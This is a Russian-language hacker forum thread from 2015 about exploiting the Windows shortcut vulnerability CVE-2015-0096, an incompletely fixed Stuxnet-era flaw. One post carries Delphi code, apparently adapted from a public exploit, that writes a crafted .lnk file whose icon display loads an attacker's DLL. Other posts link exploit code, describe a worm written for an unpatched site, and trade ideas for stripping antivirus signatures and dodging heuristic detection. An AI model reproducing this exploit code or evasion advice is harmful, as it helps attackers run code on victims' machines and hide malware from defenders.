Уязвимость ярлыков CVE-2015-0096
|
alexeybar2008
|
Дата: Воскресенье, 29.03.2015, 12:36 | Сообщение # 1
|
Новичок
Зарегистрирован: 29.03.2015
Группа: Пользователи
Сообщений: 3
Статус: Offline
|
Кто понял как использовать уязвимость обработки ярлыков CVE-2015-0096? Это не до конца исправленная уязвимость CVE 2010-2658, известная со времен Stuxnet-a
Ссылки по CVE-2015-0096:
1337day.com/exploits/23383
http://h30499.www3.hp.com/t5....3PmsVfA
Лично у меня код main в DLL никак не запускается (тестировал даже на старой системе до исправления CVE 2010-2658)  |
|
|
|
|
xXxSh@dowxXx
|
Дата: Воскресенье, 29.03.2015, 15:14 | Сообщение # 2
|
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
|
вот ТУТ эксплоит новый есть, может быть поможет, если что то получится, дай знать в ПМ, сам лично еще не проверял код сплоита, но тоже интересно было бы плюзать у себя на машине... |
|
|
|
|
alexeybar2008
|
Дата: Воскресенье, 29.03.2015, 19:54 | Сообщение # 3
|
Новичок
Зарегистрирован: 29.03.2015
Группа: Пользователи
Сообщений: 3
Статус: Offline
|
Я видел этот эксплоит, может конечно напутал с длиной exploit_dll_filename, но адаптация под Delphi не заработала:(
Тестировал правда в корне диска своей машины, а не на папке в локалке.
Код
Const
// LinkHeader
link_header : Array [0..75] of Byte = ($4c, $00, $00, $00, $01, $14, $02, $00, $00, $00, $00, $00, $c0, $00, $00, $00,
$00, $00, $00, $46, $ff, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00);
// Path
path_0 : Array [0..21] of Byte = ($00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $6a, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00);
// LinkTargetIDList
idlist_data : Array [0..39] of Byte = ($14, $00, $1f, $00, $e0, $4f, $d0, $20, $ea, $3a, $69, $10, $a2, $d8, $08, $00, $2b, $30, $30, $9d,
$14, $00, $2e, $1e, $20, $20, $ec, $21, $ea, $3a, $69, $10, $a2, $dd, $08, $00, $2b, $30, $30, $9d);
// ExtraData blocks (none) & Patch in the LinkFlags
extdata_linkflags : Array [0..7] of Byte = ($03, $00, $00, $00, $81, $00, $00, $00);
function rand_text_alpha(random_length:Integer):String;
Var i:integer;
Begin
Randomize();
Result:='';
For i:=1 to random_length do
Result:=Result+chr($41+random(25));
end;
// path - directory for installing exploit
// lnk_name - name of *.lnk file on path
// dll_name - full name of dll file
function CreateShellLNK(path:String; lnk_name:String; dll_name:String):Integer;
Var LinkHandle: Integer;
i,random_length :integer;
exploit_dll_name:string;
IDListSize, path_len:Word;
ZeroByte:byte;
Begin
ZeroByte:=0;
random_length:=257-Length(IncludeTrailingBackslash(path))-Length(ExtractFileName(dll_name));
exploit_dll_name:=IncludeTrailingBackslash(path)+rand_text_alpha(random_length)+ExtractFileName(dll_name);
if not fileexists(dll_name) then
Begin
result:=1;
exit;
end;
CopyFile(PChar(dll_name),PChar(exploit_dll_name),true);
LinkHandle:= FileCreate(IncludeTrailingBackslash(path)+lnk_name, fmOpenWrite);
if (LinkHandle=0) then
Begin
result:=2;
exit;
end;
FileWrite(LinkHandle, link_header, sizeof(link_header));
IDListSize:=sizeof(idlist_data)+sizeof(path_0)+2*Length(Path)+4;
FileWrite(LinkHandle, IDListSize, 2);
FileWrite(LinkHandle, idlist_data, sizeof(idlist_data));
path_len:=sizeof(path_0)+2*Length(exploit_dll_name)+2;
FileWrite(LinkHandle, path_len, 2);
FileWrite(LinkHandle, path_0, sizeof(path_0));
for i:=1 to Length(exploit_dll_name) do
begin
FileWrite(LinkHandle, exploit_dll_name[i], 1);
FileWrite(LinkHandle, ZeroByte, 1);
end;
FileWrite(LinkHandle, ZeroByte, 1);
FileWrite(LinkHandle, ZeroByte, 1);
FileWrite(LinkHandle, extdata_linkflags, sizeof(extdata_linkflags));
FileClose(LinkHandle);
result:=0;
end;
а у кого-нибудь работает старая уязвимость Stuxnet-а? Пример кода создания ярлыка: https://delfcode.ru/forum/10-336-1
|
|
|
|
|
xXxSh@dowxXx
|
Дата: Понедельник, 30.03.2015, 16:15 | Сообщение # 4
|
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
|
старая вряд ли будет работать, ведь уже давно заплатки автоматом у всех установились!
по поводу новой пока ничего сказать не могу, нету времени протестировать у себя. |
|
|
|
|
Anton93
|
Дата: Пятница, 03.04.2015, 20:14 | Сообщение # 5
|
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
|
практического смысла в ней уже нет. она сигнатурно ловится даже самым говеным антивирусом. последний раз я тестировал результат был 34 из 35 ав ее определили.
более того скажу, что ни червя, ни дроппера на ней уже нормально не сделать. по мимо ав еще заплатки мешают.
писал пару лет назад, для теста, червя, эксплуатирующего эту уязвимость, для одного объекта, где не ставились обновления. касперский, который там стоял, присек на корню эпидемию. через свой драйвер-фильтр файловой системы, они даже инициализироваться не успели, не смотря на то, что система была уязвима
ICQ: 41896
|
|
|
|
|
xXxSh@dowxXx
|
Дата: Воскресенье, 05.04.2015, 14:51 | Сообщение # 6
|
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
|
Цитата Anton93 ( )
она сигнатурно ловится даже самым говеным антивирусом
а шаманить в рукопашную не пробовал? через HEX и дебагеры, дабы убрать сигнатуру конкретного АВ (от всех сразу не спрячешь конечно, но в большинстве лучаев помогает).
|
|
|
|
|
Anton93
|
Дата: Воскресенье, 05.04.2015, 15:23 | Сообщение # 7
|
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
|
xXxSh@dowxXx, тогда он GEN пишет. эвристика видит что я пытаюсь инициализировать dll известным нестандартным способом, а именно отобразить иконку. в этот момент и происходит эксплуатация. т.к. у dll по определению не может быть mainicon'a
ICQ: 41896
|
|
|
|
|
xXxSh@dowxXx
|
Дата: Воскресенье, 05.04.2015, 17:30 | Сообщение # 8
|
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
|
Цитата Anton93 ( )
тогда он GEN пишет. эвристика видит что я пытаюсь инициализировать dll известным нестандартным способом, а именно отобразить иконку. в этот момент и происходит эксплуатация. т.к. у dll по определению не может быть mainicon'a
согласен, эвристика это уже дело другое, а как на счет твоих старых наработок по обходу эвристического анализа ?
|
|
|
|
|
alexeybar2008
|
Дата: Четверг, 07.05.2015, 23:17 | Сообщение # 9
|
Новичок
Зарегистрирован: 29.03.2015
Группа: Пользователи
Сообщений: 3
Статус: Offline
|
Вопрос то был просто работает ли это и кто как понял суть этой незакрытой дыры CVE-2015-0096... |
|
|
|
|
xXxSh@dowxXx
|
Дата: Четверг, 07.05.2015, 23:30 | Сообщение # 10
|
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
|
Цитата alexeybar2008 ( )
Вопрос то был просто работает ли это и кто как понял суть этой незакрытой дыры CVE-2015-0096
- на Win8 \ Win10 (с автообновлением) - скорее всего не работает точно так же как и на Win7!
- на Win7 (с автообновлением) - уже не работает!
- на Win Vista (с автообновлением) - не знаю, ничего сказать не могу.
- на Win XP SP3 (с автообновлением) - должно работать, сам лично не проверял, уязвимость новее чем конец поддержки
данной версии ОС Windows - это логично!
Если я правильно понимаю суть её была точно такая же как и в первом её виде от 2010 года, запуск кода из нашей DLL путем
эксплуатации баги в обработке files.ink
|
|
|
|
|
d4rkzy
|
Дата: Пятница, 08.05.2015, 13:19 | Сообщение # 11
|
Постоянный
Зарегистрирован: 15.11.2013
Группа: Пользователи
Сообщений: 135
Статус: Offline
|
Цитата
на Win7 (с автообновлением) - уже не работает!
Про вин7/XP - Microsoft все еще их поддерживает, выпиливает какие-то обновления или уже все?
|
|
|
|
|
xXxSh@dowxXx
|
Дата: Пятница, 08.05.2015, 19:10 | Сообщение # 12
|
Авторитетный
Зарегистрирован: 22.01.2012
Группа: Модераторы
Сообщений: 702
Статус: Offline
|
Цитата d4rkzy ( )
Про вин7/XP - Microsoft все еще их поддерживает, выпиливает какие-то обновления или уже все?
Win7 поддерживается!
WinXP обновления как я понял только для каких то коммерческих версий, обычные пользовательские версии уже не поддерживаются!
|
|
|
|
|